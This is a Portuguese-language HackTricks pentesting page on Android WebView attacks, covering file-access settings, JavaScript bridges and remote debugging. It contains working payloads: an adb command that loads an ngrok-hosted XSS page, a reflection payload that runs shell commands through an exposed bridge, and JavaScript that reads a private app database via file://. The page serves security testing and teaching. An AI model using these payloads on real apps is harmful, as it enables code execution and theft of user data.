hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks.md

15 KiB
Raw Blame History

Ataques a Webview

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Configurações Interessantes

Você pode identificar um WebView exposto assim:

Acesso a Arquivos

O acesso a arquivos no WebView é habilitado por padrão. Desde a API 3 (Cupcake 1.5), o método setAllowFileAccess() está disponível para habilitar ou desabilitar explicitamente.
Se o aplicativo tem a permissão _android.permission.READ_EXTERNAL_STORAGE _, ele poderá ler e carregar arquivos do armazenamento externo.
O WebView precisa usar um Esquema de URL de Arquivo, por exemplo, file://path/file, para acessar o arquivo.

Acesso Universal a Partir de URL de Arquivo (Obsoleto)

Define se solicitações cross-origin no contexto de uma URL de esquema de arquivo devem ser permitidas para acessar conteúdo de qualquer origem. Isso inclui acesso a conteúdo de outras URLs de esquema de arquivo ou contextos web. Note que alguns acessos, como elementos de imagem HTML, não seguem as regras de mesma origem e não são afetados por essa configuração.

Não habilite essa configuração se você abrir arquivos que podem ser criados ou alterados por fontes externas. Habilitar essa configuração permite que scripts maliciosos carregados em um contexto file:// lancem ataques de cross-site scripting, acessando arquivos locais arbitrários incluindo cookies do WebView, dados privados do app ou mesmo credenciais usadas em sites arbitrários.

Em resumo, isso vai prevenir o carregamento de Origens arbitrárias. O app enviará a solicitação de URL para carregar o conteúdo com Origin: file:// se a resposta não permitir essa origem (Access-Control-Allow-Origin: file://), então o conteúdo não será carregado.
O valor padrão é false ao direcionar para Build.VERSION_CODES.JELLY_BEAN e acima.

{% hint style="info" %} Usar loadDataWithBaseURL() com null como baseURL também impedirá o carregamento de arquivos locais mesmo se todas as configurações perigosas estiverem habilitadas. {% endhint %}

Acesso a Arquivos a Partir de URLs de Arquivo (Obsoleto)

Define se solicitações cross-origin no contexto de uma URL de esquema de arquivo devem ser permitidas para acessar conteúdo de outras URLs de esquema de arquivo. Note que alguns acessos, como elementos de imagem HTML, não seguem as regras de mesma origem e não são afetados por essa configuração.

Não habilite essa configuração se você abrir arquivos que podem ser criados ou alterados por fontes externas. Habilitar essa configuração permite que scripts maliciosos carregados em um contexto file:// acessem arquivos locais arbitrários incluindo cookies do WebView e dados privados do app.

Em resumo, isso impede que o javascript acesse arquivos locais via protocolo file://.
Note que o valor dessa configuração é ignorado se o valor de getAllowUniversalAccessFromFileURLs() for true.
O valor padrão é false ao direcionar para Build.VERSION_CODES.JELLY_BEAN e acima.

Acesso a Arquivos

Habilita ou desabilita acesso a arquivos dentro do WebView. Note que isso habilita ou desabilita o acesso ao sistema de arquivos apenas. Ativos e recursos ainda são acessíveis usando file:///android_asset e file:///android_res.

Em resumo, se desabilitado, o WebView não será capaz de carregar um arquivo local com o protocolo file://.
O valor padrão é false ao direcionar para Build.VERSION_CODES.R e acima.

WebViewAssetLoader

Classe auxiliar para carregar arquivos locais incluindo ativos estáticos do aplicativo e recursos usando URLs http(s):// dentro de uma classe WebView. Carregar arquivos locais usando URLs semelhantes à web em vez de "file://" é desejável, pois é compatível com a política de Mesma Origem.

Esta é a nova maneira recomendada de carregar arquivos locais. O objetivo é acessar arquivos locais usando uma URL HTTP com o domínio. Desta forma, o CORS pode ser facilmente mantido entre as páginas web locais e as páginas web que são baixadas do servidor web.

Javascript Habilitado

WebViews têm Javascript desabilitado por padrão. O método setJavaScriptEnabled() pode habilitar ou desabilitar explicitamente.
Note que webviews também podem suportar o esquema intent que permite ativar outras aplicações. Leia este artigo para descobrir como ir de XSS para RCE.

Aqui está um exemplo de um WebView exposto vulnerável a XSS via o parâmetro "support_url" (que pode indicar a URL para carregar no webview):

É possível explorar essa vulnerabilidade a partir do adb com algo como:

{% code overflow="wrap" %}

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://6333-157-48-216-175.ngrok-free.app/xss.html"

Ponte Javascript

O Android oferece uma maneira do JavaScript executado em um WebView chamar e usar funções nativas de um aplicativo Android (anotadas com @JavascriptInterface) usando o método addJavascriptInterface. Isso é conhecido como WebView JavaScript bridge ou ponte nativa.

Observe que quando você usa addJavascriptInterface, está concedendo explicitamente acesso ao objeto de Interface JavaScript registrado a todas as páginas carregadas naquele WebView. Isso implica que, se o usuário navegar para fora do seu aplicativo ou domínio, todas as outras páginas externas também terão acesso a esses objetos de Interface JavaScript, o que pode representar um risco de segurança potencial se algum dado sensível estiver sendo exposto por essas interfaces.

Aviso: Tenha extremo cuidado com aplicativos que visam versões do Android abaixo do Android 4.2 (nível de API 17), pois eles são vulneráveis a uma falha na implementação de addJavascriptInterface: um ataque que abusa da reflexão, o que leva à execução remota de código quando JavaScript malicioso é injetado em um WebView. Isso ocorreu porque todos os métodos de Object Java eram acessíveis por padrão (em vez de apenas aqueles anotados).

Análise Estática

//Class with a method to access a secret
public class JavascriptBridge {
// Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
// not annotated with @JavascriptInterface are not visible from JavaScript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
}
//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
<!-- Exploit to get the secret from JavaScript -->
<script>alert(javascriptBridge.getSecret());</script>

Com acesso ao código JavaScript, por exemplo, através de um XSS armazenado, ataque MITM ou um site malicioso que é carregado dentro do WebView, pode chamar diretamente os métodos Java expostos.

{% hint style="info" %} Note que, no caso de tentar explorar essa vulnerabilidade via um Redirecionamento Aberto para uma página web do atacante que acessa o Objeto Nativo do Android. Se o acesso ao redirecionamento for feito via um navegador móvel e não usando o mesmo WebView, o navegador não poderá acessar o objeto nativo do Android. {% endhint %}

Se addJavascriptInterface for necessário, considere o seguinte:

  • Apenas JavaScript fornecido com o APK deve ser permitido usar as pontes, por exemplo, verificando a URL em cada método Java ponteado (via WebView.getUrl).
  • Nenhum JavaScript deve ser carregado de endpoints remotos, por exemplo, mantendo a navegação da página dentro dos domínios do aplicativo e abrindo todos os outros domínios no navegador padrão (por exemplo, Chrome, Firefox).
  • Se necessário por razões de legado (por exemplo, ter que suportar dispositivos mais antigos), defina pelo menos o nível mínimo da API para 17 no arquivo de manifesto do aplicativo (<uses-sdk android:minSdkVersion="17" />).

Ponte JavaScript para RCE via Reflexão

Como observado em esta pesquisa (confira para ideias em caso de obter RCE), uma vez que você encontrou uma JavascriptBridge, pode ser possível obter RCE via Reflexão usando um payload como o seguinte:

<!-- javascriptBridge is the name of the Android exposed object -->
<script>
function execute(cmd){
return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>

No entanto, aplicações modernas podem usar a @JavascriptInterface annotation que indica ao JavascriptBridge que somente o método com essa anotação deve ser exposto.
Nesse cenário, você não será capaz de abusar da Reflection para executar código arbitrário.

Depuração Remota

A depuração remota do WebView permite acessar o webview com as Ferramentas de Desenvolvedor do Chrome.
O dispositivo precisa estar acessível pelo PC (via USB, emulador local, rede local...) e executando o WebView depurável, então acesse chrome://inspect/#devices:

Selecione inspect e uma nova janela será aberta. Nesta janela, você pode interagir com o conteúdo do WebView e até fazer com que ele execute código JS arbitrário a partir da aba console:

Para habilitar a Depuração Remota do WebView você pode fazer algo como:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}

Esta configuração aplica-se a todos os WebViews da aplicação.

{% hint style="info" %} A depuração do WebView não é afetada pelo estado da flag debuggable no manifesto da aplicação. Se deseja habilitar a depuração do WebView apenas quando debuggable for true, teste a flag em tempo de execução. {% endhint %}

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Cargas Úteis

Exfiltrar arquivos arbitrários

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);

Referências

{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}

{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: